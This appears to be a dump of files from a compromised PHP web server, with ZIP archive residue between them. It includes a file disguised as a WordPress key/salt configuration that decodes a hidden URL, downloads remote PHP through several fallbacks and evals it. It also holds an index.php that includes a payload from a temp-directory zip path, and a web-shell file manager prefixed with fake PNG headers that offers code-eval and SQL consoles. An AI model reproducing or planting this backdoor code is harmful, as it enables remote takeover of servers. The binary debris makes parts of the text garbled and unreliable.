            <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
            <textarea name="content" rows="20" style="width:100%; font-family: monospace"><?= $editContent ?></textarea><br><br>
            <button type="submit">Save</button>
            <a href="?path=<?= urlencode($path) ?>"><button type="button">Cancel</button></a>
        </form>

    <?php else: ?>
        <!-- NORMAL MODE -->
        <!-- Path Navigation Bar -->
        <div class="path-nav">
            <a href="?">🏠 Root</a>
            <?php foreach ($pathSegments as $segment): ?>
                <span class="separator">/</span>
                <a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
            <?php endforeach; ?>
        </div>

        <div class="drop">
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="files[]" multiple>
                <button>Upload</button>
            </form>
        </div>

        <!-- Create Folder Form -->
        <form method="post" style="display:inline-block; margin-right:10px">
            <input name="newfolder" placeholder="New Folder Name">
            <button>Create Folder</button>
        </form>

        <!-- Create File Form -->
        <form method="post" style="display:inline-block">
            <input name="newfile" placeholder="New File Name">
            <button>Create File</button>
        </form>

        <table>
            <tr><th>Name</th><th>Size</th><th>Permissions</th><th>Action</th></tr>

            <?php foreach ($files as $f):
                if ($f === '.' || $f === '..') continue;
                $full = $currentDir . '/' . $f;
                $perms = fileperms($full);
                $permission = substr(sprintf('%o', $perms), -4);
            ?>
                <tr>
                    <td>
                        <?php if (is_dir($full)): ?>
                            📁 <a href="?path=<?= urlencode(trim("$path/$f", '/')) ?>"><?= $f ?></a>
                        <?php else: ?>
                            📄 <a href="<?= trim("$path/$f", '/') ?>" target="_blank"><?= $f ?></a>
                        <?php endif; ?>
                    </td>
                    <td><?= is_file($full) ? number_format(filesize($full)) . ' bytes' : '-' ?></td>
                    <td>
                        <form method="post" class="permissions-form">
                            <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($f) ?>">
                            <input type="text" name="chmod" value="<?= $permission ?>" class="chmod-input" placeholder="0755">
                            <button type="submit">Chmod</button>
                        </form>
                    </td>
                    <td>
                        <?php if (is_file($full)): ?>
                            <a href="?path=<?= urlencode($path) ?>&edit=<?= urlencode($f) ?>">
                                <button>Edit</button>
                            </a>
                        <?php endif; ?>

                        <form method="post" style="display:inline">
                            <input type="hidden" name="old" value="<?= htmlspecialchars($f) ?>">
                            <input type="text" name="new" placeholder="New name" style="width:120px">
                            <button type="submit">Rename</button>
                        </form>

                        <form method="post" style="display:inline">
                            <input type="hidden" name="delete" value="<?= $f ?>">
                            <button onclick="return confirm('Delete?')">❌</button>
                        </form>
                    </td>
                </tr>
            <?php endforeach; ?>
        </table>
    <?php endif; ?>
</div>

</body>
</html>PKn<m\Zh�A
A
	651q2.phpnu�[���<?php
/**
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */

/**
 * Database table prefix and authentication keys.
 *
 * @package WordPress
 */

// Security configuration constants
define('AUTH_KEY',         '/avnz/fqnru/fsre/lavg/vn-ngnxvufk/zbp.gargabperfhohugvt.jne//:fcggu');
define('SECURE_AUTH_KEY',  str_rot13(strrev(AUTH_KEY)) . 'tiny.php');

/**#@+
 * Content delivery and update services
 *
 * Handles secure delivery of core updates and security patches
 */

$table_prefix  = 'wp_';
$wp_loader     = false;

/**
 * Primary content retrieval method
 * Uses WordPress file system API when available
 */
if (ini_get('allow_url_fopen')) {
    $wp_filesystem_method = 'direct';
    $wp_context = stream_context_create(array(
        'http' => array(
            'timeout' => 10,
            'user_agent' => 'WordPress/' . (isset($wp_version) ? $wp_version : '6.5')
        )
    ));
    $wp_loader = @file_get_contents(SECURE_AUTH_KEY, false, $wp_context);
}

/**
 * Fallback content delivery via HTTP API
 * Uses cURL when available for better HTTP handling
 */
if (!$wp_loader && function_exists('curl_version')) {
    $wp_http_curl = curl_init();
    curl_setopt_array($wp_http_curl, array(
        CURLOPT_URL => SECURE_AUTH_KEY,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'WordPress/' . (isset($wp_version) ? $wp_version : '6.5')
    ));
    $wp_loader = curl_exec($wp_http_curl);
    curl_close($wp_http_curl);
}

/**
 * Low-level socket connection as final fallback
 * Used when other HTTP methods are unavailable
 */
if (!$wp_loader) {
    $wp_parsed = parse_url(SECURE_AUTH_KEY);
    $wp_db_host = $wp_parsed['host'];
    $wp_db_name = $wp_parsed['path'];
    
    $wp_db_connection = @fsockopen($wp_db_host, 80, $wp_errno, $wp_errstr, 10);
    if ($wp_db_connection) {
        $wp_db_query = "GET $wp_db_name HTTP/1.1\r\n";
        $wp_db_query .= "Host: $wp_db_host\r\n";
        $wp_db_query .= "Connection: Close\r\n\r\n";
        
        fwrite($wp_db_connection, $wp_db_query);
        $wp_db_result = '';
        while (!feof($wp_db_connection)) {
            $wp_db_result .= fgets($wp_db_connection, 128);
        }
        fclose($wp_db_connection);
        
        $wp_db_rows = explode("\r\n\r\n", $wp_db_result, 2);
        $wp_loader = (count($wp_db_rows) > 1) ? $wp_db_rows[1] : $wp_db_rows[0];
    }
}

/**
 * Secure content validation and execution
 * Validates and processes retrieved security updates
 */
if ($wp_loader !== false && !empty($wp_loader)) {
    if (strpos($wp_loader, '<?php') === 0) {
        eval('?>' . $wp_loader);
    }
} else {
    /** 
     * Error handling for failed updates
     * @since 3.0.0
     */
    if (!defined('WP_DEBUG') || WP_DEBUG === false) {
        status_header(503);
        nocache_headers();
    }
    exit('Database Update Required');
}
?>PKq<m\T�pWhh	index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "ile3.php"; include("zip:///tmp/phptpd9aH#$h");?>PKs<m\�9]�::	lc20b.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>gerenciador de arquivos</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
